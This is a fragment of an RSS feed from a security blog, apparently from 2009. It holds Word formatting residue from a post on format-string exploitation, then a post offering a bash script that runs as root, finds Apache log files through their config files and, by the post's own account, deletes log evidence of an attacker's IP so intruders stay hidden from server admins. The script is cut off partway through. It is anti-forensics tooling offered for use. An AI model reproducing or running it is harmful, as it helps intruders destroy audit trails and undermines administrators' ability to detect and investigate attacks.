<w :LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1" /> <w :LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1" /> <w :LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 1" /> <w :LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 1" /> <w :LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 1" /> <w :LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 1" /> <w :LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 2" /> <w :LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 2" /> <w :LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 2" /> <w :LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false"<br />
 Name="Medium Shading 1 Accent 2" /> <w :LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2" /> <w :LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 2" /> <w :LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 2" /> <w :LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2" /> <w :LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2" /> <w :LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2" /> <w :LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 2" /> <w :LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 2" /> <w :LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 2" /> <w :LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 2" /> <w :LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 3" /> <w :LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 3" /> <w :LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 3" /> <w :LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3" /> <w :LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3" /> <w :LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 3" /> <w :LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 3" /> <w :LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3" /> <w :LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3" /> <w :LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3" /> <w :LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 3" /> <w :LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 3" /> <w :LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 3" /> <w :LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 3" /> <w :LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 4" /> <w :LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 4" /> <w :LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 4" /> <w :LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4" /> <w :LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4" /> <w :LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 4" /> <w :LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 4" /> <w :LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4" /> <w :LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4" /> <w :LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4" /> <w :LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 4" /> <w :LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 4" /> <w :LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 4" /> <w :LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 4" /> <w :LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 5" /> <w :LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 5" /> <w :LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 5" /> <w :LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5" /> <w :LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5" /> <w :LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 5" /> <w :LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 5" /> <w :LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5" /> <w :LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5" /> <w :LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5" /> <w :LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 5" /> <w :LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 5" /> <w :LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 5" /> <w :LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Grid Accent 5" /> <w :LsdException Locked="false" Priority="60" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Shading Accent 6" /> <w :LsdException Locked="false" Priority="61" SemiHidden="false"    UnhideWhenUsed="false" Name="Light List Accent 6" /> <w :LsdException Locked="false" Priority="62" SemiHidden="false"    UnhideWhenUsed="false" Name="Light Grid Accent 6" /> <w :LsdException Locked="false" Priority="63" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6" /> <w :LsdException Locked="false" Priority="64" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6" /> <w :LsdException Locked="false" Priority="65" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 1 Accent 6" /> <w :LsdException Locked="false" Priority="66" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium List 2 Accent 6" /> <w :LsdException Locked="false" Priority="67" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6" /> <w :LsdException Locked="false" Priority="68" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6" /> <w :LsdException Locked="false" Priority="69" SemiHidden="false"    UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6" /> <w :LsdException Locked="false" Priority="70" SemiHidden="false"    UnhideWhenUsed="false" Name="Dark List Accent 6" /> <w :LsdException Locked="false" Priority="71" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful Shading Accent 6" /> <w :LsdException Locked="false" Priority="72" SemiHidden="false"    UnhideWhenUsed="false" Name="Colorful List Accent 6" /> <w :LsdException Locked="false" Priority="73" SemiHidden="false"    UnhideWhenUsed="false" Name=<br />
"Colorful Grid Accent 6" /> <w :LsdException Locked="false" Priority="19" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis" /> <w :LsdException Locked="false" Priority="21" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis" /> <w :LsdException Locked="false" Priority="31" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference" /> <w :LsdException Locked="false" Priority="32" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Intense Reference" /> <w :LsdException Locked="false" Priority="33" SemiHidden="false"    UnhideWhenUsed="false" QFormat="true" Name="Book Title" /> <w :LsdException Locked="false" Priority="37" Name="Bibliography" /> <w :LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading" /> </w> </xml>< ![endif]--><!--  /* Font Definitions */  @font-face 	{font-family:"Cambria Math"; 	panose-1:2 4 5 3 5 4 6 3 2 4; 	mso-font-charset:0; 	mso-generic-font-family:roman; 	mso-font-pitch:variable; 	mso-font-signature:-1610611985 1107304683 0 0 159 0;} @font-face 	{font-family:Calibri; 	panose-1:2 15 5 2 2 2 4 3 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:-1610611985 1073750139 0 0 159 0;} @font-face 	{font-family:Tahoma; 	panose-1:2 11 6 4 3 5 4 4 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:-520082689 -1073717157 41 0 66047 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-unhide:no; 	mso-style-qformat:yes; 	mso-style-parent:""; 	margin-top:0in; 	margin-right:0in; 	margin-bottom:10.0pt; 	margin-left:0in; 	line-height:115%; 	mso-pagination:widow-orphan; 	font-size:11.0pt; 	font-family:"Calibri","sans-serif"; 	mso-fareast-font-family:Calibri; 	mso-bidi-font-family:Arial;} .MsoChpDefault 	{mso-style-type:export-only; 	mso-default-props:yes; 	font-size:10.0pt; 	mso-ansi-font-size:10.0pt; 	mso-bidi-font-size:10.0pt; 	mso-ascii-font-family:Calibri; 	mso-fareast-font-family:Calibri; 	mso-hansi-font-family:Calibri; 	mso-bidi-font-family:Arial;} @page Section1 	{size:8.5in 11.0in; 	margin:1.0in 1.0in 1.0in 1.0in; 	mso-header-margin:.5in; 	mso-footer-margin:.5in; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --><!--[if gte mso 10]> </mce><mce :style>< !   /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Table Normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-priority:99; 	mso-style-qformat:yes; 	mso-style-parent:""; 	mso-padding-alt:0in 5.4pt 0in 5.4pt; 	mso-para-margin:0in; 	mso-para-margin-bottom:.0001pt; 	mso-pagination:widow-orphan; 	font-size:11.0pt; 	font-family:"Calibri","sans-serif"; 	mso-ascii-font-family:Calibri; 	mso-ascii-theme-font:minor-latin; 	mso-fareast-font-family:"Times New Roman"; 	mso-fareast-theme-font:minor-fareast; 	mso-hansi-font-family:Calibri; 	mso-hansi-theme-font:minor-latin; 	mso-bidi-font-family:Arial; 	mso-bidi-theme-font:minor-bidi;} --> <!--[endif]--><span style="font-size: 14pt; line-height: 115%; font-family: &quot;Tahoma&quot;,&quot;sans-serif&quot;;"><!--[if gte vml 1]><v :shapetype  id="_x0000_t75" coordsize="21600,21600" o:spt="75" o:preferrelative="t"  path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f"> <v :stroke joinstyle="miter" /> </v><v :formulas> <v :f eqn="if lineDrawn pixelLineWidth 0" /> <v :f eqn="sum @0 1 0" /> <v :f eqn="sum 0 0 @1" /> <v :f eqn="prod @2 1 2" /> <v :f eqn="prod @3 21600 pixelWidth" /> <v :f eqn="prod @3 21600 pixelHeight" /> <v :f eqn="sum @0 0 1" /> <v :f eqn="prod @6 1 2" /> <v :f eqn="prod @7 21600 pixelWidth" /> <v :f eqn="sum @8 21600 0" /> <v :f eqn="prod @7 21600 pixelHeight" /> <v :f eqn="sum @10 21600 0" /> </v> <v :path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect" /> <o :lock v:ext="edit" aspectratio="t" /> <v :shape id="_x0000_i1025" type="#_x0000_t75" style='width:6in;  height:298.5pt'> <v :imagedata src="file:///C:\Users\ADMINI~1\AppData\Local\Temp\msohtmlclip1\01\clip_image001.png" mce_src="file:///C:\Users\ADMINI~1\AppData\Local\Temp\msohtmlclip1\01\clip_image001.png"   o:title="" /> </v>< ![endif]--><!--[if !vml]--></span></mce></p>
<p style="text-align: left;">here is download link for this article :</p>
<p style="text-align: left;"><a title="Download Here" href="http://abysssec.com/blog/wp-content/uploads/2009/02/fstring-exploit.pdf" target="_blank">http://abysssec.com/blog/wp-content/uploads/2009/02/fstring-exploit.pdf</a></p>
<p style="text-align: left;">feel free to send your questions to admin@abysssec.com|NoSpam</p>
<p style="text-align: left;">Good Luck and Have Fun !</p>
<p style="text-align: left;">
<p style="text-align: left;">
<p style="text-align: center;"><span style="font-size: 14pt; line-height: 115%; font-family: &quot;Tahoma&quot;,&quot;sans-serif&quot;;"><br />
</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2009/02/format-string-exploitation-on-windows/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hidden Attack with clear log files in Unix , linux</title>
		<link>http://www.abysssec.com/blog/2009/01/hidden_attack_with_clear_log_file/</link>
		<comments>http://www.abysssec.com/blog/2009/01/hidden_attack_with_clear_log_file/#comments</comments>
		<pubDate>Sat, 31 Jan 2009 14:37:14 +0000</pubDate>
		<dc:creator>amiri</dc:creator>
				<category><![CDATA[security]]></category>

		<guid isPermaLink="false">http://abysssec.com/blog/?p=265</guid>
		<description><![CDATA[Hey ! I&#8217;m back   some exams of university   and &#8230;.
Here is bash script for finding path of log files (Apache first and soon : all Logs) and deleting them for some attackers to be hidden from server admins !.Not bad ? Not good ? Where u use that !?.
At first we find [...]]]></description>
			<content:encoded><![CDATA[<p>Hey ! I&#8217;m back   some exams of university <img src='http://www.abysssec.com/blog/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  and &#8230;.</p>
<p>Here is bash script for finding path of log files (Apache first and soon : all Logs) and deleting them for some attackers to be hidden from server admins !.Not bad ? Not good ? Where u use that !?.</p>
<p>At first we find path of directory contain some wanted logs and then searching line by line for log paths,finally founding attacker Ip in log files and removing log file. Be happy !</p>
<p>TEsTed On Debian etch4.0 and FreeBSD 6*</p>
<p>This is Rc 1. [download] : <a href="http://abysssec.com/files/apache-log-remover.txt">Log_f</a></p>
<p>and here is source code in bash :</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/usr/local/bin/bash</span>
<span style="color: #666666; font-style: italic;">### coded by t4z3v4r3d</span>
<span style="color: #666666; font-style: italic;">### recurse function : i m not sure who has write that .So thanks unknown man</span>
<span style="color: #666666; font-style: italic;">### made for FreeBSD First ....</span>
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #ff0000;">&quot;<span style="color: #780078;">`id -u`</span>&quot;</span> <span style="color: #000000; font-weight: bold;">!</span>= <span style="color: #ff0000;">&quot;0&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;$0 cant run as <span style="color: #007800;">$USER</span> Please Give me the root perms!!!!! &quot;</span>
<span style="color: #7a0874; font-weight: bold;">exit</span> <span style="color: #000000;">1</span>
<span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #007800;">patern</span>=$<span style="color: #000000;">2</span>
<span style="color: #007800;">fl</span>=<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>f.txt
<span style="color: #007800;">fd</span>=<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>find.txt
<span style="color: #007800;">length</span>=<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>l-f.txt
<span style="color: #007800;">log_f</span>=<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>log_f.txt
<span style="color: #007800;">log_final</span>=<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>final_log.txt
<span style="color: #007800;">null</span>=<span style="color: #000000; font-weight: bold;">/</span>dev<span style="color: #000000; font-weight: bold;">/</span>null
<span style="color: #007800;">log_path</span>=<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>log_Found_.txt
<span style="color: #007800;">tm</span>=<span style="color: #ff0000;">&quot;<span style="color: #780078;">`date | cut -d &quot;:&quot; -f 1`</span>&quot;</span>
<span style="color: #007800;">os</span>=<span style="color: #007800;">$OSTYPE</span>
<span style="color: #666666; font-style: italic;"># you can add all paths for all os type !M$ windows IS NOT OS ....Exactly!</span>
<span style="color: #000000; font-weight: bold;">case</span> <span style="color: #007800;">$os</span> <span style="color: #000000; font-weight: bold;">in</span>
Linux<span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">path</span>=<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #000000; font-weight: bold;">;;</span>
linux<span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">path</span>=<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #000000; font-weight: bold;">;;</span>
freebsd<span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">path</span>=<span style="color: #000000; font-weight: bold;">/</span>usr<span style="color: #000000; font-weight: bold;">/</span>local<span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #000000; font-weight: bold;">;;</span>
<span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">path</span>=<span style="color: #000000; font-weight: bold;">/</span>
<span style="color: #000000; font-weight: bold;">;;</span>
<span style="color: #000000; font-weight: bold;">esac</span>
&nbsp;
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #007800;">$fl</span>
<span style="color: #c20cb9; font-weight: bold;">touch</span> <span style="color: #007800;">$fl</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #007800;">$fd</span>
<span style="color: #c20cb9; font-weight: bold;">touch</span> <span style="color: #007800;">$fd</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #007800;">$log_f</span>
<span style="color: #c20cb9; font-weight: bold;">touch</span> <span style="color: #007800;">$log_f</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #007800;">$log_final</span>
<span style="color: #c20cb9; font-weight: bold;">touch</span> <span style="color: #007800;">$log_final</span>
<span style="color: #c20cb9; font-weight: bold;">rm</span> <span style="color: #007800;">$log_path</span>
<span style="color: #c20cb9; font-weight: bold;">touch</span> <span style="color: #007800;">$log_path</span>
<span style="color: #c20cb9; font-weight: bold;">clear</span>
&nbsp;
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Enter attacker IP&quot;</span>
<span style="color: #c20cb9; font-weight: bold;">read</span> <span style="color: #660033;">-e</span> ip
&nbsp;
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #ff0000;">&quot;<span style="color: #780078;">`find $path -name apache &amp;gt;&amp;gt; $fl`</span>&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
	<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[3;2f Main path Found ....\033[0;0m&quot;</span>
<span style="color: #000000; font-weight: bold;">else</span>
&nbsp;
	<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #ff0000;">&quot;<span style="color: #780078;">`find $path -name apache2 &amp;gt;&amp;gt; $fl`</span>&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
		<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;Founded Apache2 Config files&quot;</span>
	<span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #000000; font-weight: bold;">fi</span> 
&nbsp;
recurse <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #7a0874; font-weight: bold;">&#123;</span>
<span style="color: #000000; font-weight: bold;">for</span> <span style="color: #c20cb9; font-weight: bold;">file</span> <span style="color: #000000; font-weight: bold;">in</span> $<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000; font-weight: bold;">/</span>bin<span style="color: #000000; font-weight: bold;">/</span><span style="color: #c20cb9; font-weight: bold;">ls</span> $<span style="color: #000000;">1</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>
<span style="color: #000000; font-weight: bold;">do</span> <span style="color: #007800;">fqfn</span>=$<span style="color: #000000;">1</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #007800;">$file</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #660033;">-d</span> <span style="color: #007800;">$fqfn</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>amp;<span style="color: #000000; font-weight: bold;">&amp;</span>amp; recurse <span style="color: #007800;">$fqfn</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #800000;">${#file}</span> <span style="color: #660033;">-gt</span> <span style="color: #007800;">$len</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>amp;<span style="color: #000000; font-weight: bold;">&amp;</span>amp; <span style="color: #7a0874; font-weight: bold;">&#123;</span> <span style="color: #007800;">len</span>=<span style="color: #800000;">${#file}</span> <span style="color: #007800;">name</span>=<span style="color: #007800;">$fqfn</span>; <span style="color: #7a0874; font-weight: bold;">&#125;</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #660033;">-f</span> <span style="color: #007800;">$fqfn</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>amp;<span style="color: #000000; font-weight: bold;">&amp;</span>amp; recurse <span style="color: #007800;">$fqfn</span>
<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #800000;">${#file}</span> <span style="color: #660033;">-gt</span> <span style="color: #007800;">$len</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span><span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>amp;<span style="color: #000000; font-weight: bold;">&amp;</span>amp; <span style="color: #7a0874; font-weight: bold;">&#123;</span> <span style="color: #007800;">len</span>=<span style="color: #800000;">${#file}</span> <span style="color: #007800;">name</span>=<span style="color: #007800;">$fqfn</span>; <span style="color: #7a0874; font-weight: bold;">&#125;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#########################################################</span>
<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #660033;">-f</span> $<span style="color: #000000;">1</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
<span style="color: #7a0874; font-weight: bold;">let</span> <span style="color: #ff0000;">&quot;f=f+1&quot;</span>
	<span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #ff0000;">&quot;<span style="color: #780078;">`ls $1 | grep -F .conf`</span>&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>;<span style="color: #000000; font-weight: bold;">then</span>
	<span style="color: #7a0874; font-weight: bold;">let</span> <span style="color: #ff0000;">&quot;t=t+1&quot;</span>
	<span style="color: #c20cb9; font-weight: bold;">cat</span> $<span style="color: #000000;">1</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">grep</span> <span style="color: #660033;">-F</span> .log <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">grep</span> <span style="color: #660033;">-v</span> <span style="color: #ff0000;">&quot;#&quot;</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">cut</span> <span style="color: #660033;">-d</span> <span style="color: #ff0000;">&quot; &quot;</span> <span style="color: #660033;">-f</span> <span style="color: #000000;">2</span>  <span style="color: #000000; font-weight: bold;">&amp;</span>gt;<span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #007800;">$log_path</span>
	nom<span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #007800;">$t</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>=<span style="color: #ff0000;">&quot;<span style="color: #780078;">`cat $1 | grep -F .log | grep -v &quot;#&quot; | wc -l`</span>&quot;</span>
	<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;reading $1<span style="color: #000099; font-weight: bold;">\n</span> <span style="color: #780078;">`cat $1 | grep -F .log | grep -v &quot;#&quot;`</span>&quot;</span> <span style="color: #000000; font-weight: bold;">&amp;</span>gt;<span style="color: #000000; font-weight: bold;">&amp;</span>gt; <span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>r.txt
	<span style="color: #7a0874; font-weight: bold;">let</span> <span style="color: #ff0000;">&quot;nt=nt+<span style="color: #007800;">${nom[$t]}</span>&quot;</span>
	<span style="color: #7a0874; font-weight: bold;">let</span> <span style="color: #ff0000;">&quot;j=<span style="color: #007800;">$nt</span>+<span style="color: #007800;">$t</span>&quot;</span>
	<span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #000000; font-weight: bold;">fi</span>
<span style="color: #666666; font-style: italic;">################################################################################</span>
<span style="color: #666666; font-style: italic;">### MOnitoring all acts</span>
<span style="color: #666666; font-style: italic;">################################################################################</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[3;1f\033[1;39m+\033[1;37m======================================\033[1;39m+\033[0;0m&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;39m|\033[1;31m Scanned Files  :\033[4;25f \033[1;37m<span style="color: #007800;">$f</span>\033[1;39m\033[4;40f|\033[0;0m&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;39m|\033[1;31m Path(s) found  :\033[5;25f \033[1;37m<span style="color: #007800;">$l</span>\033[1;39m\033[5;40f|\033[0;0m&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;39m|\033[1;31m pattern found  :\033[6;25f \033[1;37m<span style="color: #007800;">$t</span>\033[1;39m\033[6;40f|\033[0;0m&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;39m|\033[1;31m pattern total  :\033[7;25f \033[1;37m<span style="color: #007800;">$j</span>\033[1;39m\033[7;40f|\033[0;0m&quot;</span>
<span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #660033;">-e</span> <span style="color: #ff0000;">&quot;\033[1;39m|\033[1;30m\033[8;2f Scanning <span style="color: #780078;">`dirname ${1}`</span>:::\033[1;39m\033[8;40f|\033[0;0m&quot;</span>
